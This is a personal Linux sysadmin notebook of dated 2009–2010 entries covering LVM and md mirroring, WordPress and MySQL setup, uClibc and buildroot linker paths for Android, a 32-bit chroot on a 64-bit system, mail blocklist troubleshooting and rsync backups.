Downloads complete. If you wish to disconnect from the internet you may do so now. Unpacking ecoscentric-gnutools-i386-elf-20081107-sw.i386linux.tar.bz2... Unpacking ecos-3.0.i386linux.tar.bz2... Generating /opt/ecos/ecosenv.sh Generating /opt/ecos/ecosenv.csh --------------------------------------------------------- In future, to establish the correct environment for eCos, run one of the following commands: . /opt/ecos/ecosenv.sh (for sh/bash users); or source /opt/ecos/ecosenv.csh (for csh/tcsh users) It is recommended you append these commands to the end of your shell startup files such as $HOME/.profile or $HOME/.login --------------------------------------------------------- Installation complete! Entry: git Date: Sat Jul 4 10:48:08 CEST 2009 clone: make a local copy of a repo checkout: convert local copy to branch Entry: lvm mirror Date: Sun Jul 5 12:45:33 CEST 2009 /dev/hda1 /dev/hda2 root mirror 1 /dev/hdb1 meta /dev/hdb2 rood mirror 2 checked using hexdump to see taht the data is indeed physically present on both disks. now check if a mirror can be recovered if the meta data partition is corrupted. starting with just hdb the disk won't mount. same for just hda. so how to recover? hmm... from what i can understand it's maybe not such a good idea to use lvm for raid1. a very nice feature of md is that the drives by themselves work normally without md. and everything just works when you remove one of the drives with md running. Entry: mac Date: Sun Jul 5 13:56:26 CEST 2009 put the old 30G ubuntu disk back in the G4. took out 80G disk. it seems to contain bad blocks, so i'm wiping it to trigger a remap.. apart from a couple of localized sectors it seems to be ok. Entry: conventional -> md Date: Mon Jul 6 09:34:30 CEST 2009 What I'm trying to figure out is how to convert a conventional disk into an md one. Starting with one partition hdb1 and trying to turn this into /dev/md0 together with hda1. This complains that hdb1 already contains a fs: mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/hda1 /dev/hdb1 So, make sure the _live_ partition is added as missing. mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/hda1 missing The debian guide[1] talks about copying the data. So it looks like it is not possible to to copy the filesystem as a whole.. Maybe it is.. How to find out the size of a block device? It can be done using cfdisk /dev/md0... Apparently it uses 173 sectors. So.. this probably rules out copying lvm partitions in the raw format.. Means I need to do some repartitioning again, or figure out how to use the lvm raid. [1] http://www.google.com/search?q=rootraiddoc.97.html&hl=en&start=10&sa=N Entry: LVM2 mirror recovery Date: Mon Jul 6 11:13:50 CEST 2009 Shut down and unplug one of the mirrored drives (i removed the one which also contained the mirrorlog). When restarted there will be a bunch of warnings ("Couldn't find device..."). Convert the logical volume(s) back to linear using: vgreduce --removemissing vg1 This leaves you with an inactive volume. To enable all logical volumes do: vgchange -a y At this point the volume shows up in /dev/mapper and can be mounted. Rebooting and re-enabling the drive gives some warnings about inconsistency. I then tried this: pvcreate /dev/hdb[12] vgextend vg1 /dev/hdb[12] lvconvert -i 1 -m 1 --mirrorlog disk /dev/vg1/root /dev/hda2 /dev/hdb2 /dev/hdb1 Then it tells me "Conversion starts after activation", so I activate again: vgchange -a y Entry: converting plain to lvm root fs in debian Date: Mon Jul 6 12:05:47 CEST 2009 The lenny installer did it for me on the new box. Trying to convert zzz to do the same.. Old initrd won't boot. Do this to fix it: update-initramfs -k all -u Entry: LVM leaky abstraction Date: Mon Jul 6 16:12:37 CEST 2009 So.. LVM is supposed to rid you of all partion problems. However, when creating a mirror you do need an extra PV for the log. This means you need to thing _ahead_ about how many mirrored LVs you are going to create. The simplest way is to reserve a part of a disk with a couple of small logical partitions to store these logs. It seems possible to initialize LVs as PVs, but I did get a warning that I tried to do this within the same group. So it looks like they can probably be stacked, as long as it's not done circularly. Entry: Ubuntu 8.04 Date: Wed Jul 8 15:08:50 CEST 2009 I'm a bit sick of playing with libtool. Trying to start with ubuntu 8.04 which is known to work. Installing in kvm/qemu didn't seem to work, so I'm extracting the .squashfs manually by mounting the iso and running unsquashfs. Strip it from unnecessary cruft: apt-get remove xserver-xorg-core libgtk2.0-0 libasound2 ... Entry: The monitor keeps turning off every couple of minutes Date: Thu Jul 9 16:37:41 CEST 2009 she says.. And I keep forgetting how to do disable screen blank. xset s off EDIT: xset -dpms Entry: giebrok + kurk Date: Thu Jul 9 20:58:07 CEST 2009 It's too difficult right now to run things on two different webservers. Maybe I should move dotp to giebrok, or zwizwa.be to kurk. Moved the apache + data part of dotp to giebrok. Doesn't look like php is working properly. Anyways, I need to move dotp to sweb to make things simpler. Entry: fglrx problem Date: Sat Jul 11 18:54:51 CEST 2009 I ran into an X problem, where this message appeared on the console: X: symbol lookup error: /usr/lib/xorg/modules/extensions//libdri.so: undefined symbol: atiddxAbiDixSetPrivate That lib came from a broken fglrx-driver : zni:~# dpkg -S libdri.so diversion by fglrx-driver from: /usr/lib/xorg/modules/extensions/libdri.so diversion by fglrx-driver to: /usr/lib/fglrx/diversions/libdri.so xserver-xorg-core, fglrx-driver: /usr/lib/xorg/modules/extensions/libdri.so diversion by fglrx-driver from: /usr/lib/xorg/modules/extensions/libdri.so diversion by fglrx-driver to: /usr/lib/fglrx/diversions/libdri.so Removing it and rebooting to recover the bad display state solved the problem zni:~# apt-get --purge remove fglrx-driver Entry: Fritz print server Date: Wed Jul 15 07:22:55 CEST 2009 /sbin/printserv -d /dev/usblp0 -p 9100 -c /dev/ttyS0 For some reason it was not coming up. Ok after reboot. But now cups doesn't want to do anything "... broken pipe" Maybe it's really the printer? Ok, silly: you need press "start printer" in localhost:631 cups interface after such an error. Entry: mplayer -cache Date: Wed Jul 15 20:37:31 CEST 2009 For read-ahead on network links use the -cache option in mplayer. Entry: pf-list broken Date: Fri Jul 17 12:19:08 CEST 2009 apparently there are 0 subscribers.. what went wrong? if i'm correct i did save the list of subscribers somewhere.. cd /var/lib/mailman bin/add_members -w n -r <addresses> <listname> this worked, but it looks like the web interface is broken.. i can't seem to make any updates. anyways: here[1] are some instructions on how to clean up the held messages manually using a hack. [1] http://wiki.list.org/pages/viewpage.action?pageId=4030568 Entry: xdmcp Date: Fri Jul 24 13:42:40 CEST 2009 From a fresh debian xdm install: files in /etc/X11/xdm - add a "*" to Xaccess so any host can get a login window - comment out "! DisplayManager.requestPort: 0" in xdm-cofnig - in Xservers I disabled the entry for :0 since I'm not running it on my local display. It work, then it doesnt! Crap software.. Apparently xdm.pid doesn't get created. And now it works again. Hmm.. Entry: Courier IMAP Date: Mon Aug 3 17:21:59 CEST 2009 Ok, I'm getting a bit frustrated. I did this all before but forgot how it worked. Courier imap doesn't want to let me in. So stupid: cd ~ maildirmake Maildir Entry: panic=1 Date: Fri Aug 28 09:58:19 CEST 2009 Linux command line option to reboot the system on panic. I'm convinced the current problems with degamma are hardware related, so let's see if we can at least have auto-reboot. Entry: Poor Man's Desktop Publishing Date: Wed Sep 30 10:40:44 CEST 2009 html: edit .html to remove cruft, then print to .pdf in browser alternatively, paste html in openoffice and fix layout jpg: for i in *.JPG; do jpegtopnm $i | pnmtops -dpi 300 -equalpixels >$i.ps; done This produces huge files.. Let's try the djvu route first. Djvu apparently has trouble with greyscale files. Trying to convert to black & white first. That's it. Proper thresholding (no dithering) does wonders. integrating pages from images and other sources (other pdf), it's simplest to just dump everything to image: pdftoppm -gray -r 300 FGOH.pdf FGOH for i in *.pgm; do pnmtojpeg $i >`basename $i .pgm`.jpeg; done Entry: mapreduce and shell scripting Date: Wed Sep 30 13:02:18 CEST 2009 1. map is easy to implement using makefiles and the "-j" option. a simple driver script can then provide the right arguments (Makefile is target driven) 2. reduce can be done on a *.<ext> after map has finished. Implemented for jpeg->ps map and ps->ps->pdf reduce. Works quite well (see pool/mk/* and pool/bin/mk) Entry: Apache log mining Date: Thu Oct 1 13:10:36 CEST 2009 I'd like to get this stuff under control. 1. automatically gather logs Currently I use an MD5-index archive to make rsync-based mirror from server->local a bit easier. This needs to be fine-tuned such that the ``big pool of data'' will only grow. 2. write indexing in PLT scheme I have a parser that's relatively fast. However, since the data is constant, index files could be cached. 3. make a query language Some preprocessing steps are necessary to remove junk. Bots comprise the bulk of the requests. Entry: Emacs standard bindings Date: Sat Oct 3 10:38:43 CEST 2009 I'm thinking about switching back to standard emacs keybindings. I don't have so many modifications except for the function keys. Making them easier to type doesn't weigh up to being not able to remember most changes. The original bindings do have some mnemonic value. Let's also follow some standards: C-c <x>, where <x> is any _letter_ is the user map. Other characters, or C-c C-<x> are for major modes. Entry: Stumpwm Date: Sat Oct 3 11:30:29 CEST 2009 Updated to latest cvs in debian experimental. Changed the meta key to C-z. I really would like to like this.. It's an opportunity to do something in CL, and I like the whole idea, but the way it is structured makes little sense to me. The standard behaviour is not intuitive, and not very ergonomic. I do understand that that's mostly about being accustomed though.. Maybe I don't the central idea enough yet. One of the things I don't understand is why `other' doesn't go to the other window in a split frame. Let's try to go over the main organization again: window frame windowlist Entry: packets don't make it from eth0 -> br0 Date: Tue Oct 6 09:35:43 CEST 2009 I have DHCP packets arriving on eth0, but the br0 interface doesn't receive them. Embedded software, multitasking, real-time. DSP: good theoretical, some practical. (C4x, now looking into DaVinci) Entry: Crash course Java / Eclipse Date: Wed Oct 14 08:01:19 CEST 2009 PRACTICAL * Installing in debian It's probably safest to use sun's implementation, also for Fortress. apt-get install sun-java6-jdk How to run the hello world program "hello.java" import java.io.*; public class hello { public static void main(String[] args) { System.out.println("Hello..."); } } * To compile: javac hello.java * To run, don't pass the extension (.class) java hello The name of public classes should correspond to the file name (filesystem -> class mapping). * Getting class documentation. Sun Java docs[1]. * Spartan build system, a Makefile: .PHONY: clean all all: hello.test %.class: %.java javac $< clean: rm -f *.class *~ %.test: %.class java `basename $< .class` $(TEST_ARGS) * Eclipse workaround: MOZILLA_FIVE_HOME=/usr/bin/firefox eclipse I'm giving up on the debian versions, they're full of bugs. 3.2 (lenny) and 3.4 (sid). [1] http://java.sun.com/javase/reference/api.jsp Entry: Android Date: Wed Oct 14 14:15:56 CEST 2009 Getting started: wget ... tar xf ... export PATH=/opt/src/android-sdk-linux_x86-1.6_r1/tools/:$PATH android create avd --target 2 --name my_avd Entry: libkrb53 / libkrb5-3 problems Date: Thu Oct 29 11:44:36 CET 2009 downgrade procedure here: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=517483#27 * Downgrading from this version to a previous version can be difficult because of library name changes. Please follow these instructions: - Get the libkrb53 and libkadm55 debs you want to downgrade to -dpkg --force-depends--remove libkrb5-3 libkrb5support0 libdes425-3 libgssapi-krb5-2 libgssrpc4 libkadm5clnt5 libkadm5srv5 libkdb5-4 libkrb5crypto3 - At this point your system has broken Kerberos libraries - dpkg -i libkrb53*deb libkadm55*deb (using the debs you got above) - aptitude -f install to fix any other packages that may be broken dpkg --force-depends --remove libkrb5-3 libkrb5support0 libdes425-3 libgssapi-krb5-2 libgssrpc4 libkadm5clnt5 libkadm5srv5 libkdb5-4 libkrb5crypto3 Entry: FFmpeg / mplayer + deps from source Date: Tue Nov 3 11:55:21 CET 2009 svn checkout svn://svn.ffmpeg.org/ffmpeg/trunk ffmpeg svn checkout svn://svn.mplayerhq.hu/mplayer/trunk mplayer Entry: changing wordpress admin password Date: Tue Nov 17 07:49:58 CET 2009 mysql --host <host> -u<user> -p<pass> <db> UPDATE `wp_users` SET `user_pass` = MD5( 'new_password_here' ) WHERE `wp_users`.`user_login` = "admin"; Entry: privoxy as user Date: Fri Nov 6 10:45:26 CET 2009 Compile and install, then run with: privoxy <configfile> The default then listens on localhost:8118 Entry: compiling socat: fipsld Date: Tue Nov 24 13:31:26 CET 2009 On CentOS release 5.4 (Final) I'm having trouble compiling socat: beschout@vixen:~/sw/src/socat-2.0.0-b3$ make FIPSLD_CC=gcc fipsld -O -D_GNU_SOURCE -Wall -Wno-parentheses -DHAVE_CONFIG_H -I. -I. -c -o socat.o socat.c /bin/sh: fipsld: command not found This has something to do with ssl.. Compiling without ssl: Entry: buildroot - nonstandard location Date: Thu Nov 26 10:22:58 CET 2009 I've constructed a root file system, and stored it under /data/root on an Android filesystem. Everything works fine with chroot (from a separate statically compiled busybox in /data/bin/busybox), but I can't seem to run /data/root/usr/bin/socat outside of the chroot. The /data/root/bin/busybox binary works fine as long as the following is set: export PATH=/data/root/bin:/data/root/sbin:/data/root/usr/bin:/data/root/usr/sbin:/data/bin:/bin:/sbin:/usr/bin:/usr/sbin:$PATH export LD_LIBRARY_PATH=/data/root/lib:/data/root/usr/lib What's missing? A hint is maybe that ssl doesn't want to use LD_LIBRARY_PATH? In some cases this is disabled. The proper fix seems to be to add a linker option: -R '$ORIGIN/../lib:/lib:/usr/lib' This allows myapp and mylib.so to be installed anywhere, as long as they are kept in the same positions relative to each other. Now, this comes from [1], solaris. Does it work on linux too? The GNU ld manpage says: For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option. From here[2] I find this flag: -Wl,--rpath=\$ORIGIN/../lib In buildroot this is the variable BR2_EXTRA_GCC_CONFIG_OPTIONS which can be set in: Buildroot Configuration -> Toolchain -> Additional gcc options However, figuring out how the different levels of quoting work is not simple. Wrong: these are GCC build options (for building the compiler). Wait... Maybe an appropriately defined /etc/ld.so.conf should do it? [1] http://blogs.sun.com/ali/entry/avoiding_ld_library_path_the [2] http://www.scons.org/wiki/UsingOrigin Entry: on-target ldd / INTERP and --dynamic-linker= Date: Thu Nov 26 17:52:13 CET 2009 Busybox simply returns a "not found" error whenever an application doesn't load due to dynamic linker errors. It would be handy to have "ldd" on the target device. Solution: with /data/uclibc as the root of the uclibc tree, set the INTERP program header using the linker flag: --dynamic-linker=/data/uclibc/lib/ld-uClibc.so.0 This means gcc at link time needs the following flag -Wl,--dynamic-linker=/data/uclibc/lib/ld-uClibc.so.0 Questions: - can this be done as a post-processing step (i.e. adding an elf section?) - how to build an entire buildroot setup with this flag added -- without postprocessing? Grepping the buildroot tree gives the follwing: toolchain_build_arm/uClibc-0.9.30.1/test/Rules.mak: LDFLAGS += -Wl,--dynamic-linker,$(UCLIBC_LDSO_ABSPATH)/$(UCLIBC_LDSO) Grepping for UCLIBC_LDSO_ABSPATH gives: toolchain_build_arm/uClibc-0.9.30.1/test/Rules.mak:UCLIBC_LDSO_ABSPATH=$(shell pwd) toolchain_build_arm/uClibc-0.9.30.1/test/Rules.mak:UCLIBC_LDSO_ABSPATH=$(SHARED_LIB_LOADER_PREFIX) toolchain_build_arm/uClibc-0.9.30.1/test/Rules.mak: LDFLAGS += -Wl,--dynamic-linker,$(UCLIBC_LDSO_ABSPATH)/$(UCLIBC_LDSO) Looks like the var of interest is SHARED_LIB_LOADER_PREFIX, which is a configuration variable in toolchain_build_arm/uClibc-0.9.30.1/.config SHARED_LIB_LOADER_PREFIX="/lib" uClibc Configuration -> Library Installation Options -> Shared library loader path Could also be the next one: RUNTIME_PREFIX Where to change this? Probably not in the .config file itself... Apparently buildroot patches the .oldconfig file and resets the SHARED_LIB_LOADER_PREFIX variable, so no use in changing it manually... cp -f uClibc-android.config /usr/people/beschout.nba/src/buildroot-2009.08/toolchain_build_arm/uClibc-0.9.30.1/.oldconfig /usr/people/beschout.nba/src/buildroot-2009.08/toolchain_build_arm/bin/sed -i -e 's,^CROSS_COMPILER_PREFIX=.*,CROSS_COMPILER_PREFIX="/usr/people/beschout.nba/src/buildroot-2009.08/build_arm/staging_dir/usr/bin/arm-linux-uclibcandroid-",g' \ -e 's,# TARGET_arm is not set,TARGET_arm=y,g' \ -e 's,^TARGET_ARCH=".*",TARGET_ARCH=\"arm\",g' \ -e 's,^KERNEL_SOURCE=.*,KERNEL_SOURCE=\"/usr/people/beschout.nba/src/buildroot-2009.08/toolchain_build_arm/linux\",g' \ -e 's,^KERNEL_HEADERS=.*,KERNEL_HEADERS=\"/usr/people/beschout.nba/src/buildroot-2009.08/toolchain_build_arm/linux/include\",g' \ -e 's,^RUNTIME_PREFIX=.*,RUNTIME_PREFIX=\"/\",g' \ -e 's,^DEVEL_PREFIX=.*,DEVEL_PREFIX=\"/usr/\",g' \ -e 's,^SHARED_LIB_LOADER_PREFIX=.*,SHARED_LIB_LOADER_PREFIX=\"/lib\",g' \ /usr/people/beschout.nba/src/buildroot-2009.08/toolchain_build_arm/uClibc-0.9.30.1/.oldconfig (/bin/echo "# CONFIG_GENERIC_ARM is not set"; \ /bin/echo "# CONFIG_ARM610 is not set"; \ /bin/echo "# CONFIG_ARM710 is not set"; \ /bin/echo "# CONFIG_ARM7TDMI is not set"; \ /bin/echo "# CONFIG_ARM720T is not set"; \ /bin/echo "# CONFIG_ARM920T is not set"; \ /bin/echo "# CONFIG_ARM922T is not set"; \ /bin/echo "# CONFIG_ARM926T is not set"; \ /bin/echo "# CONFIG_ARM10T is not set"; \ /bin/echo "# CONFIG_ARM1136JF_S is not set"; \ /bin/echo "# CONFIG_ARM1176JZ_S is not set"; \ /bin/echo "# CONFIG_ARM1176JZF_S is not set"; \ /bin/echo "# CONFIG_ARM_SA110 is not set"; \ /bin/echo "# CONFIG_ARM_SA1100 is not set"; \ /bin/echo "# CONFIG_ARM_XSCALE is not set"; \ /bin/echo "# CONFIG_ARM_IWMMXT is not set"; \ ) >> /usr/people/beschout.nba/src/buildroot-2009.08/toolchain_build_arm/uClibc-0.9.30.1/.oldconfig The template for this is: # Reset the installation paths: sed -e "s@.*SHARED_LIB_LOADER_P.*@SHARED_LIB_LOADER_PREFIX=\"${prefix}/lib\"@g" \ -i .config && sed -e "s@.*RUNTIME_PREFIX.*@RUNTIME_PREFIX=\"${prefix}\"@g" \ -i .config && sed -e "s@.*DEVEL_PREFIX.*@DEVEL_PREFIX=\"${prefix}/\"@g" \ -i .config && sed -e "s@.*KERNEL_SOURCE.*@KERNEL_SOURCE=\"${prefix}\"@g" -i .config beschout@vixen:~/sony/android-uclibc/buildroot-2009.08/toolchain$ grep -re 'SHARED_LIB_LOADER_PREFIX' * uClibc/uClibc-0.9.30.config:SHARED_LIB_LOADER_PREFIX="/lib" uClibc/uClibc-0.9.30.1.config:SHARED_LIB_LOADER_PREFIX="/data/uclibc/lib" uClibc/uClibc-snapshot.config:SHARED_LIB_LOADER_PREFIX="/lib" uClibc/uclibc.mk: -e 's,^SHARED_LIB_LOADER_PREFIX=.*,SHARED_LIB_LOADER_PREFIX=\"/lib\",g' \ uClibc/uClibc-0.9.28.config:SHARED_LIB_LOADER_PREFIX="/lib" uClibc/uClibc-0.9.29.config:SHARED_LIB_LOADER_PREFIX="/lib" What about patching toolchain/uClibc/uclibc.mk directly? Entry: Android debug bridge: stdout and stderr Date: Fri Dec 11 10:12:00 CET 2009 From[1]: Viewing stdout and stderr By default, the Android system sends stdout and stderr (System.out and System.err) output to /dev/null. In processes that run the Dalvik VM, you can have the system write a copy of the output to the log file. In this case, the system writes the messages to the log using the log tags stdout and stderr, both with priority I. To route the output in this way, you stop a running emulator/device instance and then use the shell command setprop to enable the redirection of output. Here's how you do it: $ adb shell stop $ adb shell setprop log.redirect-stdio true $ adb shell start The system retains this setting until you terminate the emulator/device instance. To use the setting as a default on the emulator/device instance, you can add an entry to /data/local.prop on the device. The 'stop' command will stop the entire framework (rooted at zygote). The 'start' command starts. The 'setprop' survives reboots?? No.. [1] http://developer.android.com/guide/developing/tools/adb.html Entry: Compiling Haskell Date: Thu Dec 24 13:09:14 CET 2009 Since I need 6.10 which is not in Debian, it might be a good idea to try to figure out how to compile from source. Nope.. 6.10 is in unstable. Next: cabal -> it's in debian as `cabal-install' Anyways, for non-root access, a binary install is possible using: http://www.haskell.org/ghc/dist/6.12.1/ghc-6.12.1-i386-unknown-linux-n.tar.bz2 Haskell platform requires 6.10.4 however: http://www.haskell.org/ghc/dist/6.10.4/ghc-6.10.4-i386-unknown-linux-n.tar.bz2 Anyways, it fails on glut (-lglut32 ??). I'm not going to bother with that now. Next attempt: follow the installation guide of Xmonad, after installing ghc 6.10.4 from the binary package. This installs cabal-install first. Entry: Acer One upgrade 2.6.28.8 -> 2.6.32 Date: Fri Dec 25 12:02:44 CET 2009 Reason: webcam problems: can only open once, after that it crashes. The 28.8 had extra drivers for the wifi In the 32 the webcam driver doesn't seem to load automatically. 28.8 lsmod - ath_pci AR2445 (MAC 14.2, PHY SChip 7.0, Radio 10.2) - uvcvideo (0c45:62c0) kernel/drivers/media/video/uvc/uvcvideo.ko kernel/drivers/net/ath_pci.ko I have a madwifi.tar.bz2 somewhere.. # Using debian module-assistant: m-a a-i madwifi Doesn't compile # Using latest svn: svn checkout http://madwifi-project.org/svn/madwifi/trunk madwifi-svn That seems to work, but only after a device power-off. uvcvideo also seems to work. now checking after hybernate. - wifi comes back up - camera too. Entry: rsync backups Date: Sat Dec 26 09:54:35 CET 2009 Idea: use push backups. On the backup host, allow a separate non-passphrase key to dial into rsync using only a very specific command line. 1. Make a key using ssh-keygen 2. cat key >> authorized_keys 3. edit the line to contain a command=/path/to/validation-script When telling ssh to use a particular key, you need to also disable attempting to do otherwise. I fixed it with the following config script: HashKnownHosts no Host * ForwardAgent no ForwardX11 no IdentityFile /root/backup/key IdentitiesOnly yes Entry: xslt Date: Tue Dec 29 17:00:26 CET 2009 Start here [1] and grab howto.xsl and howto.xml Then use xsltproc to generate the html: [1] http://www.rgagnon.com/javadetails/java-0407.html Entry: Apache suexec Date: Thu Jan 14 08:06:23 CET 2010 Why doesn't this work properly? I want to run a wordpress instance as a separate user, but I get this error message: Warning: SuexecUserGroup directive requires SUEXEC wrapper. Running php scripts through suexec requires them to be handled as CGI scripts. See here[1] for howto. apt-get install apache2-suexec-custom Otoh, it might be simpler to use suphp. Also [1] explains. apt-get install libapache2-mod-suphp The default debian install enables suphp for all directories, but turns it off for /usr/share. Let's see if it works. In /etc/suphp/suphp.con set docroot=/home In /etc/apache2/mods-available/suphp.con enable the /home dir. [1] http://alain.knaff.lu/howto/PhpSuexec/ Entry: wordpress again Date: Thu Jan 14 12:57:27 CET 2010 Every fucking time i need to look this up. # vserver gyplat enter # mysql # create database xxxwp # GRANT ALL PRIVILEGES ON xxxwp.* TO xxxuser IDENTIFIED BY xxxpass WITH GRANT OPTION; And don't be discouraged about the '0 rows' message. It should just work. After that go to: http://.../blog/wp-admin/login.php Entry: gconftool-2 url handling Date: Sat Jan 16 19:28:50 CET 2010 gconftool-2 --set --type=string /desktop/gnome/url-handlers/md5/command 'md5 "%s"' gconftool-2 --set --type=bool /desktop/gnome/url-handlers/md5/enabled true gconftool-2 --set --type=bool /desktop/gnome/url-handlers/md5/need-terminal false debian: xdg-utils http://portland.freedesktop.org/wiki/ tom@del:/var/lib/dpkg/info$ cat xdg-utils.list /. /usr /usr/share /usr/share/man /usr/share/man/man1 /usr/share/man/man1/xdg-desktop-icon.1.gz /usr/share/man/man1/xdg-email.1.gz /usr/share/man/man1/xdg-open.1.gz /usr/share/man/man1/xdg-screensaver.1.gz /usr/share/man/man1/xdg-mime.1.gz /usr/share/man/man1/xdg-desktop-menu.1.gz /usr/share/man/man1/xdg-icon-resource.1.gz /usr/share/doc /usr/share/doc/xdg-utils /usr/share/doc/xdg-utils/changelog.Debian.gz /usr/share/doc/xdg-utils/README /usr/share/doc/xdg-utils/RELEASE_NOTES /usr/share/doc/xdg-utils/TODO /usr/share/doc/xdg-utils/copyright /usr/share/doc/xdg-utils/changelog.gz /usr/bin /usr/bin/xdg-email /usr/bin/xdg-icon-resource /usr/bin/xdg-desktop-menu /usr/bin/xdg-mime /usr/bin/xdg-desktop-icon /usr/bin/xdg-screensaver /usr/bin/xdg-open Entry: vserver on zni Date: Mon Jan 18 08:40:02 CET 2010 Linux zni 2.6.30 #4 SMP Thu Jul 9 18:32:17 CEST 2009 x86_64 GNU/Linux This needs to be > 2.6.30 for a bugfix related to memory/video. The problem was that there was no vserver patch for this version. In the mean time these version reached experimental: 2.6.32.2 vs2.3.0.36.28 http://vserver.13thfloor.at/Experimental/patch-2.6.32.2-vs2.3.0.36.28.diff http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.32.2.tar.bz2 newvserver --hostname build32 --domain i --ip 192.168.16.250/24 --interface dummy0 --dist lenny I've got an old vserver-ified zzz image still in the directory. Maybe it's best to try that first. It looks like the /etc/init.d/rc script is executed directly in the default start method. Modifying this seems to be simplest. TODO: disable services by modifying /etc/init.d/rc FIXED: use sysv-rc-conf. to restore, set runlevel=3 to mimick runlevel=2 I had to comment-out the /tmp directory in /etc/vservers/zzz/fstab Entry: Mail server blocked?? Date: Thu Jan 21 09:20:40 CET 2010 2010-01-19 21:12:16 H=n76.bullet.mail.sp1.yahoo.com [98.136.44.48] sender verify fail for <...@sbcglobal.net>: response to "MAIL FROM:<>" from sbcmx8.prodigy.net [207.115.36.22] was: 553 5.3.0 nlpi141 - o0JKCGjj027576, DNSBL:ATTRBL 521< 78.47.83.9 >_is_blocked.__For_information_see_http://att.net/blocks 2010-01-19 21:12:16 H=n76.bullet.mail.sp1.yahoo.com [98.136.44.48] F=<...@sbcglobal.net> rejected RCPT <mdh@deyofthephoenix.com>: Sender verify failed I tried with [2] and there is no mention of 78.47.83.9 on a blacklist. Neither at spamhous[3]. AT&T info page[3] also mentions symantec[5], but not listed there either. As suggested in AT&T info page [3] I'm submitting a report at [6]. It is suggested to add an SPF[8] record in the DNS. For tinydns[7]: :example.com:16:\016v=spf1\040mx\040-all:86400 However, does this mean it's no longer allowed to send this email using a different SMTP? Maybe not such a good idea. [1] http://forums.whirlpool.net.au/forum-replies-archive.cfm/1147314.html [2] http://www.mxtoolbox.com/blacklists.aspx [3] http://worldnet.att.net/general-info/521.html [4] http://www.spamhaus.org/ [5] http://ipremoval.sms.symantec.com/lookup/ [6] http://worldnet.att.net/general-info/block_admin.html [7] http://www.anders.com/projects/sysadmin/djbdnsRecordBuilder/ [8] http://en.wikipedia.org/wiki/Sender_Policy_Framework Entry: OpenEmbedded toolchain Date: Thu Jan 28 12:59:01 CET 2010 The toolchain is in: /opt/xc/oe/tmp/cross/arm/bin/arm-linux-uclibcgnueabi-gcc Where /opt/xc/oe is the toplevel OpenEmbedded dir. Entry: ELF files Date: Thu Jan 28 14:31:02 CET 2010 Section ".dynstr" contains dynamic symbol names. See "objdump -s" Entry: magic number Date: Tue Feb 2 21:16:48 CET 2010 orig netgear: 00:09:5B:DC:F3:12 orig linksys: 00:1D:7E:FB:90:D7 add to /etc/config/network in the wan section: option 'macaddr' '00:09:5B:DC:F3:12' then do /etc/init.d/network restart Entry: dicing djvu documents Date: Sat Feb 27 21:33:28 CET 2010 I have this relic from the last time I tried plumbing to make djvu files. tom@del:~/bin$ cat pgm2djvu cat $1 | erode | pgmtopbm | pbmtodjvurle | csepdjvu -d 300 - $2 Now I want to slice a djvu file into four quadrants, and put each quadrant in a separate file. 1. How to unpack a djvu document into separate png/pam files? ddjvu 2. How to ... pdf * generate pgms: pdftoppm -gray doc.pdf pageprefix * pipe them through: | pnmcrop | pgmtopbm | pbmtodjvurle | csepdjvu -d 150 - | * pack djvus: djvm -c lazy-peval.djvu *.pgm.djvu 3. djvu again: pdftoppm -r 300 -gray doc.pdf pageprefix cjb2 is the encoder from djvu-libre Entry: The 64-bit problem Date: Sun Mar 7 11:26:08 CET 2010 To be honest, it's quite a mess still. Especially if you want to use binary packages. I'm thinking about switching back to 32 bit for day to day work. You need a 64-bit kernel if you want to use all your _physical_ memory at or above 4 gig. A 64-bit userland is only useful for applications that need a _virtual_ address space that's more than 4 gig. I don't have such applications, so there should be no problem sticking to 32bit. ( There are other advantages to 64-bit intel which are due to it having twice as much registers so in theory it should be faster.. ) 1. Root filesystem The main idea is to use a chroot to host a 32-bit base filesystem. To make the original root accessible it's simplest to mount it twice. Make sure that the 2nd time doesn't perform an fsck at boot time. /dev/mapper/vg1-root / ext3 errors=remount-ro 0 1 # check in pass 1 /dev/mapper/vg1-root /i686/x86_64 ext3 errors=remount-ro 0 0 # don't check 2. Kernel The kernel should run as 64-bit to give full access to the memory range for services that can use it. The problem is then: how to give the 32-bit system access to the hardware? The most important parts are display and audio. Let's investigate. Playback mp3 file from schroot. This seems to work, but it's using OSS instead of Alsa. Mounting udev twice doesn't seem to work: it's a tmpfs. Workaround: create device nodes manually: zni:/i686/dev# cp -av /dev/snd . `/dev/snd' -> `./snd' `/dev/snd/controlC1' -> `./snd/controlC1' `/dev/snd/pcmC1D3p' -> `./snd/pcmC1D3p' `/dev/snd/pcmC0D0c' -> `./snd/pcmC0D0c' `/dev/snd/pcmC0D0p' -> `./snd/pcmC0D0p' `/dev/snd/controlC0' -> `./snd/controlC0' `/dev/snd/pcmC0D1p' -> `./snd/pcmC0D1p' `/dev/snd/pcmC0D2c' -> `./snd/pcmC0D2c' `/dev/snd/seq' -> `./snd/seq' `/dev/snd/timer' -> `./snd/timer' Need to set DISPLAY variable using localhost TCP instead of unix sockets. (i686)tom@zni:~$ export DISPLAY=:0 XV seems to work: (i686)root@zni:/# xvinfo X-Video Extension version 2.2 screen #0 Adaptor #0: "Radeon Textured Video" number of ports: 16 port base: 57 ... Making /tmp/.X11-unix available on the chroot also solves the X DISPLAY=:0 issue. Then, direct rendering. (i686)tom@zni:~$ glxinfo Error: unable to open display :0 This is because the unix socket is not available. Changing to UDP solves it though. Then let's see if direct rendering works: (i686)tom@zni:~$ glxinfo |grep why direct rendering: No (If you want to find out why, try setting LIBGL_DEBUG=verbose) (i686)tom@zni:~$ LIBGL_DEBUG=verbose glxinfo |less libGL: XF86DRIGetClientDriverName: 4.3.0 r600 (screen 0) libGL: OpenDriver: trying /usr/lib/dri/r600_dri.so libGL error: dlopen /usr/lib/dri/r600_dri.so failed (/usr/lib/dri/r600_dri.so: cannot open shared object file: No such file or directory) libGL error: unable to load driver: r600_dri.so Trying update: (i686)root@zni:/x86_64/home/tom# apt-get install libdrm-intel1 libdrm-radeon1 libdrm2 libgimp2.0 libgl1-mesa-dev libgl1-mesa-dri libgl1-mesa-glx libglu1-mesa libglu1-mesa-dev mesa-common-dev mesa-utils After that it starts to go seriously wrong: hard lockups. I don't feel like working around driver bugs so mission aborted. Current conclusion: video bugs prevent this to work. Entry: Mips boards tx4927le Date: Fri Mar 12 18:09:15 CET 2010 